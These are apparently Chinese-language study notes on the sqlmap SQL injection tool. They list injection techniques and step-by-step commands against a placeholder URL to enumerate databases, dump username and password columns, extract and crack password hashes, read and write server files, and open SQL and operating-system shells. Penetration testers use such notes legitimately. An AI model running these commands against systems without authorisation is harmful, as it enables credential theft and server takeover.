-u “(url)”
1、判断可注入的参数
2、判断可以用那种SQL注入技术来注入
3、识别出哪种数据库
4、根据用户选择,读取哪些数据
sqlmap支持五种不同的注入模式:
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。
如果支持注入,sqlmap会显示存在什么样的注入类型
如果知道什么卡类型数据库可以指定
--dbms=mysql oracle mssql等
然后查看一下是否是DBA
sqlmap -u "url" --is-dba
如果是dba权限比较大我们可以执行一些命令或者上传一下shell。
看一下用户名
sqlmap -u "url" --current-user
查看一下都有什么数据库
sqlmap -u "url" --dbs
如果权限很大可以跨库查询
查看一下当前使用的数据库
sqlmap -u "url" --current-db
查看一下这个数据库的表名
sqlmap -u "url" -D datebase --tables
保存用户名密码的表名可能是admin password user admin_user system manage member等
查看一下列名
sqlmap -u "url" -D datebase -T table --columns
查看一下数据
sqlmap -u "url" -D datebase -T table -C username,password --dump
上面为简单使用
我们可以查看一下数据库都有什么用户
sqlmap -u "url" --users
可以查看当前数据库用户的密码
sqlmap -u "url" --passwords
可以选择保存hashes数据用外部程序爆破密码
或者选择自带字典或者别的目录的字典用sqlmap来爆破密码
可以查看一下用户的权限(能够执行什么命令)
sqlmap -u "url" --privileges
查看一下数据库的架构
sqlmap -u "url" --schema --batch --exclude-sysdbs
-v 显示调试信息 7个级别
0 只显示python错误以及严重的信息
1 同时显示基本信息和警告信息 (默认)
2 同时显示debug信息
3 同时显示payload
4 同时显示http请求
5 同时显示http响应头信息
6 同时显示http相应页面
测试语句可以在xmlpayloads.xml中找到可以研究一下
-m 制定url列表文件
参数 --common-tables
当时用--tables无法获取数据库表时,可以使用此参数
适用于下列情况
mysql版本低于5.0没有information_schema表
数据库是microsoft Access 系统表MSysObjects是不可读的(默认)
当前用户没有权限读取系统中保存数据结构的表的权限。
暴力破解的表在/txt/common-tables.txt中,可以自己添加
--common-columns 同上 用于列名
cookie 注入
sqlmap -u"cookie.sql.com/test.php" --cookie "id=11" --level 2
url中参数加在cookie参数后面 level最少指定2
HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。
post表单
sqlmap -u "url" --form
sqlmap -u "url" --date "username=123&password=123" (hackbar获取)
请求延迟 请求过快可能被封
--delay=5
文件操作
读写
--file-read=""
--file-write=""
命令执行
sql
--sql-query="语句"
--sql-shell 返回一个shell
系统命令执行
--os-cmd
--os-shell
--tamper 加载脚本